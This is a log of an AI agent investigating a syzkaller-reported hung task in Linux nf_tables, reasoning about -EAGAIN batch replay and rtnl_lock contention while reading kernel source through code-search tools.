The `-EAGAIN` return from the commit function is handled in `nfnetlink_rcv_batch` by setting the `NFNL_BATCH_REPLAY` flag. This causes the batch to be reprocessed. But, this time, during replay, the full validation happens in the `newrule` stage.
The key to preventing an infinite loop is that the `nf_tables_cleanup` function is only called when we break out of the processing, not when replaying. This is due to how the status variables in `nfnetlink_rcv_batch` are handled. Thus, after an initial `-EAGAIN` due to validation, the second run should return the real error and the process will continue.
So, it's *not* an infinite loop under normal circumstances. It's a controlled replay mechanism designed for proper error reporting. This explains Pablo's commit message about "fine grain validation for error reporting."
I've got to check the history though. I saw a commit related to an infinite loop, from a few years ago. But that appears to be fixed, but I need to make sure this is not a regression. I have also noted that the current validation state is only set to DO at the commit call.
Now, I'm checking other possibilities to ensure there's *not* another hidden `-EAGAIN` issue. I've got to ensure the infinite loop isn't a red herring and the real problem lies elsewhere.
|
| 300/2 |
2026/05/31 10:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_commit]
Results: map[SourceCode:10860: static int nf_tables_commit(struct net *net, struct sk_buff *skb)
10861: {
10862: struct nftables_pernet *nft_net = nft_pernet(net);
10863: const struct nlmsghdr *nlh = nlmsg_hdr(skb);
10864: struct nft_trans_binding *trans_binding;
10865: struct nft_trans *trans, *next;
10866: unsigned int base_seq, gc_seq;
10867: LIST_HEAD(set_update_list);
10868: struct nft_trans_elem *te;
10869: struct nft_chain *chain;
10870: struct nft_table *table;
10871: struct nft_ctx ctx;
10872: LIST_HEAD(adl);
10873: int err;
10874:
10875: if (list_empty(&nft_net->commit_list)) {
10876: mutex_unlock(&nft_net->commit_mutex);
10877: return 0;
10878: }
10879:
10880: nft_ctx_init(&ctx, net, skb, nlh, NFPROTO_UNSPEC, NULL, NULL, NULL);
10881:
10882: list_for_each_entry(trans_binding, &nft_net->binding_list, binding_list) {
10883: trans = &trans_binding->nft_trans;
10884: switch (trans->msg_type) {
10885: case NFT_MSG_NEWSET:
10886: if (!nft_trans_set_update(trans) &&
10887: nft_set_is_anonymous(nft_trans_set(trans)) &&
10888: !nft_trans_set_bound(trans)) {
10889: pr_warn_once("nftables ruleset with unbound set\n");
10890: return -EINVAL;
10891: }
10892: break;
10893: case NFT_MSG_NEWCHAIN:
10894: if (!nft_trans_chain_update(trans) &&
10895: nft_chain_binding(nft_trans_chain(trans)) &&
10896: !nft_trans_chain_bound(trans)) {
10897: pr_warn_once("nftables ruleset with unbound chain\n");
10898: return -EINVAL;
10899: }
10900: break;
10901: default:
10902: WARN_ONCE(1, "Unhandled bind type %d", trans->msg_type);
10903: break;
10904: }
10905: }
10906:
10907: /* 0. Validate ruleset, otherwise roll back for error reporting. */
10908: if (nf_tables_validate(net) < 0) {
10909: nft_net->validate_state = NFT_VALIDATE_DO;
10910: return -EAGAIN;
10911: }
10912:
10913: err = nft_flow_rule_offload_commit(net);
10914: if (err < 0)
10915: return err;
10916:
10917: /* 1. Allocate space for next generation rules_gen_X[] */
10918: list_for_each_entry_safe(trans, next, &nft_net->commit_list, list) {
10919: struct nft_table *table = trans->table;
10920: int ret;
10921:
10922: ret = nf_tables_commit_audit_alloc(&adl, table);
10923: if (ret) {
10924: nf_tables_commit_chain_prepare_cancel(net);
10925: nf_tables_commit_audit_free(&adl);
10926: return ret;
10927: }
10928: if (trans->msg_type == NFT_MSG_NEWRULE ||
10929: trans->msg_type == NFT_MSG_DELRULE) {
10930: chain = nft_trans_rule_chain(trans);
10931:
10932: ret = nf_tables_commit_chain_prepare(net, chain);
10933: if (ret < 0) {
10934: nf_tables_commit_chain_prepare_cancel(net);
10935: nf_tables_commit_audit_free(&adl);
10936: return ret;
10937: }
10938: }
10939: }
10940:
10941: /* step 2. Make rules_gen_X visible to packet path */
10942: list_for_each_entry(table, &nft_net->tables, list) {
10943: list_for_each_entry(chain, &table->chains, list)
10944: nf_tables_commit_chain(net, chain);
10945: }
10946:
10947: /*
10948: * Bump generation counter, invalidate any dump in progress.
10949: * Cannot fail after this point.
10950: */
10951: base_seq = READ_ONCE(nft_net->base_seq);
10952: while (++base_seq == 0)
10953: ;
10954:
10955: WRITE_ONCE(nft_net->base_seq, base_seq);
10956:
10957: gc_seq = nft_gc_seq_begin(nft_net);
10958:
10959: /* step 3. Start new generation, rules_gen_X now in use. */
10960: net->nft.gencursor = nft_gencursor_next(net);
10961:
10962: list_for_each_entry_safe(trans, next, &nft_net->commit_list, list) {
10963: struct nft_table *table = trans->table;
10964:
10965: nft_ctx_update(&ctx, trans);
10966:
10967: nf_tables_commit_audit_collect(&adl, trans, trans->msg_type);
10968: switch (trans->msg_type) {
10969: case NFT_MSG_NEWTABLE:
10970: if (nft_trans_table_update(trans)) {
10971: if (!(table->flags & __NFT_TABLE_F_UPDATE)) {
10972: nft_trans_destroy(trans);
10973: break;
10974: }
10975: if (table->flags & NFT_TABLE_F_DORMANT)
10976: nf_tables_table_disable(net, table);
10977:
10978: table->flags &= ~__NFT_TABLE_F_UPDATE;
10979: } else {
10980: nft_clear(net, table);
10981: }
10982: nf_tables_table_notify(&ctx, NFT_MSG_NEWTABLE);
10983: nft_trans_destroy(trans);
10984: break;
10985: case NFT_MSG_DELTABLE:
10986: case NFT_MSG_DESTROYTABLE:
10987: list_del_rcu(&table->list);
10988: nf_tables_table_notify(&ctx, trans->msg_type);
10989: break;
10990: case NFT_MSG_NEWCHAIN:
10991: if (nft_trans_chain_update(trans)) {
10992: nft_chain_commit_update(nft_trans_container_chain(trans));
10993: nf_tables_chain_notify(&ctx, NFT_MSG_NEWCHAIN,
10994: &nft_trans_chain_hooks(trans));
10995: list_splice(&nft_trans_chain_hooks(trans),
10996: &nft_trans_basechain(trans)->hook_list);
10997: /* trans destroyed after rcu grace period */
10998: } else {
10999: nft_chain_commit_drop_policy(nft_trans_container_chain(trans));
11000: nft_clear(net, nft_trans_chain(trans));
11001: nf_tables_chain_notify(&ctx, NFT_MSG_NEWCHAIN, NULL);
11002: nft_trans_destroy(trans);
11003: }
11004: break;
11005: case NFT_MSG_DELCHAIN:
11006: case NFT_MSG_DESTROYCHAIN:
11007: if (nft_trans_chain_update(trans)) {
11008: nf_tables_chain_notify(&ctx, NFT_MSG_DELCHAIN,
11009: &nft_trans_chain_hooks(trans));
11010: if (!(table->flags & NFT_TABLE_F_DORMANT)) {
11011: nft_netdev_unregister_hooks(net,
11012: &nft_trans_chain_hooks(trans),
11013: true);
11014: }
11015: } else {
11016: nft_chain_del(nft_trans_chain(trans));
11017: nf_tables_chain_notify(&ctx, NFT_MSG_DELCHAIN,
11018: NULL);
11019: nf_tables_unregister_hook(ctx.net, ctx.table,
11020: nft_trans_chain(trans));
11021: }
11022: break;
11023: case NFT_MSG_NEWRULE:
11024: nft_clear(net, nft_trans_rule(trans));
11025: nf_tables_rule_notify(&ctx, nft_trans_rule(trans),
11026: NFT_MSG_NEWRULE);
11027: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
11028: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11029:
11030: nft_trans_destroy(trans);
11031: break;
11032: case NFT_MSG_DELRULE:
11033: case NFT_MSG_DESTROYRULE:
11034: list_del_rcu(&nft_trans_rule(trans)->list);
11035: nf_tables_rule_notify(&ctx, nft_trans_rule(trans),
11036: trans->msg_type);
11037: nft_rule_expr_deactivate(&ctx, nft_trans_rule(trans),
11038: NFT_TRANS_COMMIT);
11039:
11040: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
11041: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11042: break;
11043: case NFT_MSG_NEWSET:
11044: list_del(&nft_trans_container_set(trans)->list_trans_newset);
11045: if (nft_trans_set_update(trans)) {
11046: struct nft_set *set = nft_trans_set(trans);
11047:
11048: WRITE_ONCE(set->timeout, nft_trans_set_timeout(trans));
11049: WRITE_ONCE(set->gc_int, nft_trans_set_gc_int(trans));
11050:
11051: if (nft_trans_set_size(trans))
11052: WRITE_ONCE(set->size, nft_trans_set_size(trans));
11053: } else {
11054: nft_clear(net, nft_trans_set(trans));
11055: /* This avoids hitting -EBUSY when deleting the table
11056: * from the transaction.
11057: */
11058: if (nft_set_is_anonymous(nft_trans_set(trans)) &&
11059: !list_empty(&nft_trans_set(trans)->bindings))
11060: nft_use_dec(&table->use);
11061: }
11062: nf_tables_set_notify(&ctx, nft_trans_set(trans),
11063: NFT_MSG_NEWSET, GFP_KERNEL);
11064: nft_trans_destroy(trans);
11065: break;
11066: case NFT_MSG_DELSET:
11067: case NFT_MSG_DESTROYSET:
11068: nft_trans_set(trans)->dead = 1;
11069: list_del_rcu(&nft_trans_set(trans)->list);
11070: nf_tables_set_notify(&ctx, nft_trans_set(trans),
11071: trans->msg_type, GFP_KERNEL);
11072: break;
11073: case NFT_MSG_NEWSETELEM:
11074: te = nft_trans_container_elem(trans);
11075:
11076: nft_trans_elems_add(&ctx, te);
11077:
11078: if (te->set->ops->commit &&
11079: list_empty(&te->set->pending_update)) {
11080: list_add_tail(&te->set->pending_update,
11081: &set_update_list);
11082: }
11083: nft_trans_destroy(trans);
11084: break;
11085: case NFT_MSG_DELSETELEM:
11086: case NFT_MSG_DESTROYSETELEM:
11087: te = nft_trans_container_elem(trans);
11088:
11089: nft_trans_elems_remove(&ctx, te);
11090:
11091: if (te->set->ops->commit &&
11092: list_empty(&te->set->pending_update)) {
11093: list_add_tail(&te->set->pending_update,
11094: &set_update_list);
11095: }
11096: break;
11097: case NFT_MSG_NEWOBJ:
11098: if (nft_trans_obj_update(trans)) {
11099: nft_obj_commit_update(&ctx, trans);
11100: nf_tables_obj_notify(&ctx,
11101: nft_trans_obj(trans),
11102: NFT_MSG_NEWOBJ);
11103: } else {
11104: nft_clear(net, nft_trans_obj(trans));
11105: nf_tables_obj_notify(&ctx,
11106: nft_trans_obj(trans),
11107: NFT_MSG_NEWOBJ);
11108: nft_trans_destroy(trans);
11109: }
11110: break;
11111: case NFT_MSG_DELOBJ:
11112: case NFT_MSG_DESTROYOBJ:
11113: nft_obj_del(nft_trans_obj(trans));
11114: nf_tables_obj_notify(&ctx, nft_trans_obj(trans),
11115: trans->msg_type);
11116: break;
11117: case NFT_MSG_NEWFLOWTABLE:
11118: if (nft_trans_flowtable_update(trans)) {
11119: nft_trans_flowtable(trans)->data.flags =
11120: nft_trans_flowtable_flags(trans);
11121: nf_tables_flowtable_notify(&ctx,
11122: nft_trans_flowtable(trans),
11123: &nft_trans_flowtable_hooks(trans),
11124: NFT_MSG_NEWFLOWTABLE);
11125: list_splice(&nft_trans_flowtable_hooks(trans),
11126: &nft_trans_flowtable(trans)->hook_list);
11127: } else {
11128: nft_clear(net, nft_trans_flowtable(trans));
11129: nf_tables_flowtable_notify(&ctx,
11130: nft_trans_flowtable(trans),
11131: NULL,
11132: NFT_MSG_NEWFLOWTABLE);
11133: }
11134: nft_trans_destroy(trans);
11135: break;
11136: case NFT_MSG_DELFLOWTABLE:
11137: case NFT_MSG_DESTROYFLOWTABLE:
11138: if (nft_trans_flowtable_update(trans)) {
11139: nf_tables_flowtable_notify(&ctx,
11140: nft_trans_flowtable(trans),
11141: &nft_trans_flowtable_hooks(trans),
11142: trans->msg_type);
11143: nft_unregister_flowtable_net_hooks(net,
11144: nft_trans_flowtable(trans),
11145: &nft_trans_flowtable_hooks(trans));
11146: } else {
11147: list_del_rcu(&nft_trans_flowtable(trans)->list);
11148: nf_tables_flowtable_notify(&ctx,
11149: nft_trans_flowtable(trans),
11150: NULL,
11151: trans->msg_type);
11152: nft_unregister_flowtable_net_hooks(net,
11153: nft_trans_flowtable(trans),
11154: &nft_trans_flowtable(trans)->hook_list);
11155: }
11156: break;
11157: }
11158: }
11159:
11160: nft_set_commit_update(&set_update_list);
11161:
11162: nft_commit_notify(net, NETLINK_CB(skb).portid);
11163: nf_tables_gen_notify(net, skb, NFT_MSG_NEWGEN);
11164: nf_tables_commit_audit_log(&adl, nft_net->base_seq);
11165:
11166: nft_gc_seq_end(nft_net, gc_seq);
11167: nft_net->validate_state = NFT_VALIDATE_SKIP;
11168: nf_tables_commit_release(net);
11169:
11170: return 0;
11171: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 301/2 |
2026/05/31 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 115225
output: 23
thoughts: 421
Thoughts: **Analyzing the Potential for Infinite Loops in Netfilter's Rule Validation**
Okay, let's break this down. In the current kernel, the `nf_tables_commit` function is where we're seeing this potential issue. I see it:
```c
/* 0. Validate ruleset, otherwise roll back for error reporting. */
if (nf_tables_validate(net) < 0) {
nft_net->validate_state = NFT_VALIDATE_DO;
return -EAGAIN;
}
```
`nf_tables_validate` is called. If that function fails, it sets `nft_net->validate_state = NFT_VALIDATE_DO` and returns `-EAGAIN`. Then, the `nfnetlink_rcv_batch` function replays the failed transaction.
The key is what happens in the replay. `nf_tables_newrule` is called, and that in turn calls `nft_table_validate`. If `nft_table_validate` fails (returns a negative value), `nf_tables_newrule` just returns that error up the chain! `nfnetlink_rcv_batch` sees this error, handles it, and aborts the entire replay. That means it *doesn't* loop infinitely.
But here's the catch... What if `nf_tables_validate` returned `-EAGAIN` *not* because of an internal validation error, but because `nft_table_validate` returned `-EAGAIN`? That means we have to trace down why `nft_table_validate` would return `-EAGAIN`.
So, `nft_table_validate` returns whatever `nft_chain_validate` returns. And `nft_chain_validate` returns whatever `expr->ops->validate` returns. That's the core: Do any of the validation functions, specifically those pointed to by `expr->ops->validate`, return `-EAGAIN`? We need to check the code.
|
| 302/2 |
2026/05/31 10:52 |
tool |
grepper |
0m
Error:
Args: map[Expression:\\.validate\\s*=\\s*]
Results:
|
| 303/2 |
2026/05/31 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 116117
output: 19
thoughts: 0
|
| 304/2 |
2026/05/31 10:52 |
tool |
grepper |
0m
Error:
Args: map[Expression:\\.validate\\s*=]
Results:
|
| 305/2 |
2026/05/31 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 116150
output: 16
thoughts: 0
|
| 306/2 |
2026/05/31 10:52 |
tool |
grepper |
0m
Error:
Args: map[Expression:\\.validate]
Results:
|
| 307/2 |
2026/05/31 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 116180
output: 39
thoughts: 2107
Thoughts: **Unraveling the Mystery of the Hung Task**
Okay, so I'm trying to figure out why this `crda_timeout_work` is hanging. My initial instinct is to look for infinite loops, but I'm going to assume there isn't one. Let's think through this systematically. What else could cause this particular function to get stuck? Perhaps `rtnl_lock()` is being held elsewhere, maybe by `modprobe`? If `modprobe` is called, it executes `/sbin/modprobe`. Could a malicious binary be placed there?
Wait a minute! `request_module` executes `/sbin/modprobe` in the `init` namespace! It's using `call_modprobe` which uses `UMH_WAIT_PROC`. The user can't control `/sbin/modprobe` unless they have root in the init namespace. But, if the user can repeatedly trigger `request_module`, they can spawn a lot of `modprobe` processes. This is a known issue, CVE-2022-4378, but `kmod_concurrent_max` should limit it. If 50 `modprobe` processes are running, `request_module` will block, potentially for up to 50 seconds. Could this blocking be the problem? Even if it did block for 50 seconds, `nfnetlink_rcv_batch` doesn't hold `rtnl_lock()` during `request_module`, so that can't be it.
Okay, let's go back to basics. What if `modprobe` *itself* is the one holding `rtnl_lock()`? Maybe it loads a network driver whose init function grabs the lock and hangs? But, why would the driver's init function hang? The reproducer is using `synproxy` which loads `nft_synproxy`. However, `nft_synproxy` doesn't take the `rtnl_lock()`.
Maybe it's not an infinite loop. Perhaps the reproducer has triggered something that causes a *very* long loop? The reproducer does use a large payload (`memcpy((void*)0x200000000200, "... [truncated large byte array] ...", 191);`). But 191 bytes is not large.
Let's re-evaluate. The bug is a hung task in `crda_timeout_work`. It's waiting on `rtnl_lock()`, meaning someone is holding it for more than 143 seconds. The reproducer is single-threaded, using `mmap`, `socket`, and `sendmsg`. `sendmsg` uses `nfnetlink_rcv_batch`. But, we checked `nfnetlink_rcv_batch` *doesn't* hold `rtnl_lock()`. Wait, does it hold `rtnl_lock()` if `subsys_id` is something else? The reproducer sends `NETLINK_NETFILTER`, using `NFNL_SUBSYS_NFTABLES` (10), and the `nf_tables` subsystem doesn't hold the lock.
Okay, is `modprobe` *loading* a module holding the lock? `nft_synproxy` doesn't, what about `nf_conntrack_bridge`? No, that also doesn't hold `rtnl_lock()`.
Could the hung task simply be a *side effect* of an overloaded system? If `nfnetlink_rcv_batch` loops infinitely, it could be consuming 100% CPU. If the system has only one CPU, and `nfnetlink_rcv_batch` is running, it will starve other tasks. But `crda_timeout_work` is in state `D`, which means it's not being starved, but blocked on a mutex. So the mutex owner is running or blocked. If the mutex owner is running, it could be the task executing `nfnetlink_rcv_batch`. But, it doesn't hold the lock!
Wait, is there any other thread in the system? Syzkaller runs a lot of test processes. Maybe *another* test process is holding `rtnl_lock()` and being starved by the infinite loop in `nfnetlink_rcv_batch`? YES! If another process holds `rtnl_lock()` and gets preempted, and then `nfnetlink_rcv_batch` runs in an infinite loop and consumes 100% CPU, the other process will never get CPU time to release the lock! Thus, `crda_timeout_work` is waiting for `rtnl_lock()`. This perfectly explains the hang! The root cause is the infinite loop in `nfnetlink_rc
|
| 308/2 |
2026/05/31 10:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nft_lookup.c Name:nft_lookup_validate]
Results: map[SourceCode: 209: static int nft_lookup_validate(const struct nft_ctx *ctx,
210: const struct nft_expr *expr)
211: {
212: const struct nft_lookup *priv = nft_expr_priv(expr);
213: struct nft_set_iter iter;
214:
215: if (!(priv->set->flags & NFT_SET_MAP) ||
216: priv->set->dtype != NFT_DATA_VERDICT)
217: return 0;
218:
219: iter.genmask = nft_genmask_next(ctx->net);
220: iter.type = NFT_ITER_UPDATE;
221: iter.skip = 0;
222: iter.count = 0;
223: iter.err = 0;
224: iter.fn = nft_setelem_validate;
225:
226: priv->set->ops->walk(ctx, priv->set, &iter);
227: if (!iter.err)
228: iter.err = nft_set_catchall_validate(ctx, priv->set);
229:
230: if (iter.err < 0)
231: return iter.err;
232:
233: return 0;
234: }
SourceFile:net/netfilter/nft_lookup.c]
|
| 309/2 |
2026/05/31 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 119774
output: 42
thoughts: 64
Thoughts: **Analyzing the `walk` Operation**
Okay, so I'm looking at this code and it's calling `priv->set->ops->walk`. My initial thought is, "Right, `walk`... what kind of error conditions am I dealing with here?" The key question is whether or not the `walk` function itself is designed to return `-EAGAIN` to signal a temporary resource issue. It's a fundamental pattern, and understanding how these low-level functions signal back-pressure is critical.
Aha, no, that's not quite right. `walk` isn't designed to return anything directly. It's using `iter.err` as the signaling mechanism. So `walk` is setting `iter.err` when something goes wrong. This makes more sense, of course, a more natural interface.
Now, a related question: Does the `nft_setelem_validate` function also set `iter.err = -EAGAIN`? Are we seeing duplicate error signals here, or is this the intended flow? I need to trace the context of `nft_setelem_validate` to understand if it's contributing to the `-EAGAIN` signal. This is a very common issue, so I need to make sure that these are not duplicated and potentially create incorrect behaviors.
|
| 310/2 |
2026/05/31 10:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_setelem_validate]
Results: map[SourceCode:4132: int nft_setelem_validate(const struct nft_ctx *ctx, struct nft_set *set,
4133: const struct nft_set_iter *iter,
4134: struct nft_elem_priv *elem_priv)
4135: {
4136: const struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);
4137: struct nft_ctx *pctx = (struct nft_ctx *)ctx;
4138: const struct nft_data *data;
4139: int err;
4140:
4141: if (!nft_set_elem_active(ext, iter->genmask))
4142: return 0;
4143:
4144: if (nft_set_ext_exists(ext, NFT_SET_EXT_FLAGS) &&
4145: *nft_set_ext_flags(ext) & NFT_SET_ELEM_INTERVAL_END)
4146: return 0;
4147:
4148: data = nft_set_ext_data(ext);
4149: switch (data->verdict.code) {
4150: case NFT_JUMP:
4151: case NFT_GOTO:
4152: pctx->level++;
4153: err = nft_chain_validate(ctx, data->verdict.chain);
4154: if (err < 0)
4155: return err;
4156: pctx->level--;
4157: break;
4158: default:
4159: break;
4160: }
4161:
4162: return 0;
4163: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 311/2 |
2026/05/31 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 120665
output: 47
thoughts: 593
Thoughts: **Analyzing Potential Infinite Loops in Netfilter Tables**
Okay, so I was looking into this and realized the initial assumption about `nft_table_validate` returning `-EAGAIN` was wrong. It doesn't seem to, as it just recursively calls `nft_chain_validate`. That's not the culprit.
But then I thought, what about `nf_tables_abort`? Could *it* be the one causing the issue? I dug into `nfnetlink_rcv_batch` and found something interesting. If the `ss->abort` function returns `-EAGAIN`, it sets the `NFNL_BATCH_FAILURE` flag and goes to `replay_abort`. At `replay_abort`, the batch is processed again. Crucially, then it hits `done:`. Since `status & NFNL_BATCH_FAILURE` is true, it ends up calling `ss->abort` again, but this time with the `NFNL_ABORT_NONE` action.
So, the question is, does `ss->abort(..., NFNL_ABORT_NONE)` *also* return `-EAGAIN` and cause an infinite loop? I checked `__nf_tables_abort`, and it looks like it *doesn't* call `nf_tables_validate` when `action == NFNL_ABORT_NONE`. It just returns 0. So, no, that specific scenario doesn't loop infinitely. That's a relief.
Then, I had another thought, what if `request_module` is called and causes issues? It's not the same issue as we already discussed, because we see that we are setting `req->done` to true.
Okay, let's keep looking. Could `nf_tables_commit` returning `-EAGAIN` cause a problem because of `nft_flow_rule_offload_commit`? I'll need to check `nft_flow_rule_offload_commit` next.
|
| 312/2 |
2026/05/31 10:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_offload.c Name:nft_flow_rule_offload_commit]
Results: map[SourceCode: 566: int nft_flow_rule_offload_commit(struct net *net)
567: {
568: struct nftables_pernet *nft_net = nft_pernet(net);
569: struct nft_trans *trans;
570: int err = 0;
571: u8 policy;
572:
573: list_for_each_entry(trans, &nft_net->commit_list, list) {
574: if (trans->table->family != NFPROTO_NETDEV)
575: continue;
576:
577: switch (trans->msg_type) {
578: case NFT_MSG_NEWCHAIN:
579: if (!(nft_trans_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD) ||
580: nft_trans_chain_update(trans))
581: continue;
582:
583: policy = nft_trans_chain_policy(trans);
584: err = nft_flow_offload_chain(nft_trans_chain(trans), &policy,
585: FLOW_BLOCK_BIND);
586: break;
587: case NFT_MSG_DELCHAIN:
588: if (!(nft_trans_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD))
589: continue;
590:
591: policy = nft_trans_chain_policy(trans);
592: err = nft_flow_offload_chain(nft_trans_chain(trans), &policy,
593: FLOW_BLOCK_UNBIND);
594: break;
595: case NFT_MSG_NEWRULE:
596: if (!(nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD))
597: continue;
598:
599: if (trans->flags & NLM_F_REPLACE ||
600: !(trans->flags & NLM_F_APPEND)) {
601: err = -EOPNOTSUPP;
602: break;
603: }
604: err = nft_flow_offload_rule(nft_trans_rule_chain(trans),
605: nft_trans_rule(trans),
606: nft_trans_flow_rule(trans),
607: FLOW_CLS_REPLACE);
608: break;
609: case NFT_MSG_DELRULE:
610: if (!(nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD))
611: continue;
612:
613: err = nft_flow_offload_rule(nft_trans_rule_chain(trans),
614: nft_trans_rule(trans),
615: NULL, FLOW_CLS_DESTROY);
616: break;
617: }
618:
619: if (err) {
620: nft_flow_rule_offload_abort(net, trans);
621: break;
622: }
623: }
624:
625: return err;
626: }
SourceFile:net/netfilter/nf_tables_offload.c]
|
| 313/2 |
2026/05/31 10:52 |
llm |
expert |
0m
Model:
Tokens:
input: 122683
output: 24
thoughts: 1467
Thoughts: **Analyzing a Potential Deadlock in Netfilter Module Loading**
Okay, so I'm trying to wrap my head around this issue. It seems like we might have a deadlock situation arising from the interaction between Netfilter module autoloading and a CRDA timeout. The initial focus was on a potential infinite loop within `nfnetlink_rcv_batch` related to `-EAGAIN` errors, but that's not the primary issue. `nft_flow_offload_rule` doesn't return `-EAGAIN`, and the autoloading mechanism seems to function correctly with multiple module requests, even with replays. Although the use of many modules may increase the runtime.
The more significant clue is the CRDA timeout – specifically, that `crda_timeout_work` is blocked, which means `rtnl_lock()` is held for an extended period. We need to figure out *who* might be holding that lock and why.
`nfnetlink_rcv_batch` itself doesn't hold `rtnl_lock()`. It uses `nfnl_mutex`. This is where the concern arises. Could a module loading process, triggered by `request_module` within `nfnetlink_rcv_batch`, somehow acquire `rtnl_lock()` and then get stuck, thereby blocking `crda_timeout_work`?
We know that `request_module` is called via `nft_request_module`, which uses a format string controlled partially by user input. This means a malicious user could request the kernel load almost any module. I need to investigate if modules loaded this way, particularly those that might take `rtnl_lock()`, are the culprit. Initial analysis of the modules used in the reproducer, such as `nf_synproxy_core`, doesn't reveal any obvious lock contention issues in their initialization.
However, the real question is whether *any* loaded module, or something called by it, could hold `rtnl_lock()` while simultaneously blocking `nfnetlink_rcv_batch` on `nfnl_mutex`. I'm starting to suspect a classic AB-BA deadlock or starvation. Some other task might be acquiring `rtnl_lock()`, then trying to acquire `nfnl_mutex`, and getting blocked. In the meantime, `nfnetlink_rcv_batch` is holding `nfnl_mutex` indefinitely. I need to scan the code for scenarios where `rtnl_lock()` is acquired *before* `nfnl_mutex` or `nfnl_lock()` to check. If this is true then it leads to a starvation.
|
| 314/2 |
2026/05/31 10:53 |
tool |
grepper |
0m
Error:
Args: map[Expression:rtnl_lock.*nfnl_lock]
Results:
|
| 315/2 |
2026/05/31 10:53 |
llm |
expert |
0m
Model:
Tokens:
input: 124742
output: 19
thoughts: 0
|
| 316/2 |
2026/05/31 10:53 |
tool |
grepper |
0m
Args: map[Expression:nfnl_lock]
Results: map[Output:include/linux/netfilter/nfnetlink.h=78=static inline struct nlmsghdr *nfnl_msg_put(struct sk_buff *skb, u32 portid,
--
include/linux/netfilter/nfnetlink.h-93-
include/linux/netfilter/nfnetlink.h:94:void nfnl_lock(__u8 subsys_id);
include/linux/netfilter/nfnetlink.h-95-void nfnl_unlock(__u8 subsys_id);
--
net/netfilter/ipset/ip_set_core.c=105=load_settype(const char *name)
--
net/netfilter/ipset/ip_set_core.c-113- pr_warn("Can't find ip_set type %s\n", name);
net/netfilter/ipset/ip_set_core.c:114: nfnl_lock(NFNL_SUBSYS_IPSET);
net/netfilter/ipset/ip_set_core.c-115- module_put(THIS_MODULE);
--
net/netfilter/ipset/ip_set_core.c-117- }
net/netfilter/ipset/ip_set_core.c:118: nfnl_lock(NFNL_SUBSYS_IPSET);
net/netfilter/ipset/ip_set_core.c-119- module_put(THIS_MODULE);
--
net/netfilter/ipset/ip_set_core.c=889=EXPORT_SYMBOL_GPL(ip_set_name_byindex);
--
net/netfilter/ipset/ip_set_core.c-891-/* Routines to call by external subsystems, which do not
net/netfilter/ipset/ip_set_core.c:892: * call nfnl_lock for us.
net/netfilter/ipset/ip_set_core.c-893- */
--
net/netfilter/ipset/ip_set_core.c=901=ip_set_nfnl_get_byindex(struct net *net, ip_set_id_t index)
--
net/netfilter/ipset/ip_set_core.c-908-
net/netfilter/ipset/ip_set_core.c:909: nfnl_lock(NFNL_SUBSYS_IPSET);
net/netfilter/ipset/ip_set_core.c-910- set = ip_set(inst, index);
--
net/netfilter/ipset/ip_set_core.c=928=ip_set_nfnl_put(struct net *net, ip_set_id_t index)
--
net/netfilter/ipset/ip_set_core.c-932-
net/netfilter/ipset/ip_set_core.c:933: nfnl_lock(NFNL_SUBSYS_IPSET);
net/netfilter/ipset/ip_set_core.c-934- if (!inst->is_deleted) { /* already deleted from ip_set_net_exit() */
--
net/netfilter/ipset/ip_set_core.c=1733=call_ad(struct net *net, struct sock *ctnl, struct sk_buff *skb,
--
net/netfilter/ipset/ip_set_core.c-1745- cond_resched();
net/netfilter/ipset/ip_set_core.c:1746: nfnl_lock(NFNL_SUBSYS_IPSET);
net/netfilter/ipset/ip_set_core.c-1747- __ip_set_put_netlink(set);
--
net/netfilter/ipset/ip_set_core.c=2242=ip_set_sockfn_get(struct sock *sk, int optval, void __user *user, int *len)
--
net/netfilter/ipset/ip_set_core.c-2304- req_get->set.name[IPSET_MAXNAMELEN - 1] = '\0';
net/netfilter/ipset/ip_set_core.c:2305: nfnl_lock(NFNL_SUBSYS_IPSET);
net/netfilter/ipset/ip_set_core.c-2306- find_set_and_id(inst, req_get->set.name, &id);
--
net/netfilter/ipset/ip_set_core.c-2319- req_get->set.name[IPSET_MAXNAMELEN - 1] = '\0';
net/netfilter/ipset/ip_set_core.c:2320: nfnl_lock(NFNL_SUBSYS_IPSET);
net/netfilter/ipset/ip_set_core.c-2321- find_set_and_id(inst, req_get->set.name, &id);
--
net/netfilter/ipset/ip_set_core.c-2336- }
net/netfilter/ipset/ip_set_core.c:2337: nfnl_lock(NFNL_SUBSYS_IPSET);
net/netfilter/ipset/ip_set_core.c-2338- set = ip_set(inst, req_get->set.index);
--
net/netfilter/nf_conntrack_netlink.c=1875=ctnetlink_parse_nat_setup(struct nf_conn *ct,
--
net/netfilter/nf_conntrack_netlink.c-1888- if (request_module("nf-nat") < 0) {
net/netfilter/nf_conntrack_netlink.c:1889: nfnl_lock(NFNL_SUBSYS_CTNETLINK);
net/netfilter/nf_conntrack_netlink.c-1890- rcu_read_lock();
--
net/netfilter/nf_conntrack_netlink.c-1892- }
net/netfilter/nf_conntrack_netlink.c:1893: nfnl_lock(NFNL_SUBSYS_CTNETLINK);
net/netfilter/nf_conntrack_netlink.c-1894- rcu_read_lock();
--
net/netfilter/nf_conntrack_netlink.c-1907- if (request_module("nf-nat-%u", nf_ct_l3num(ct)) < 0) {
